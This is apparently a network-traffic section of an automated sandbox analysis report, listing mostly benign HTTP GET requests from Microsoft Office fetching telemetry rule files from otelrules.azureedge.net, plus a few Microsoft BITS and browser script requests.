Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
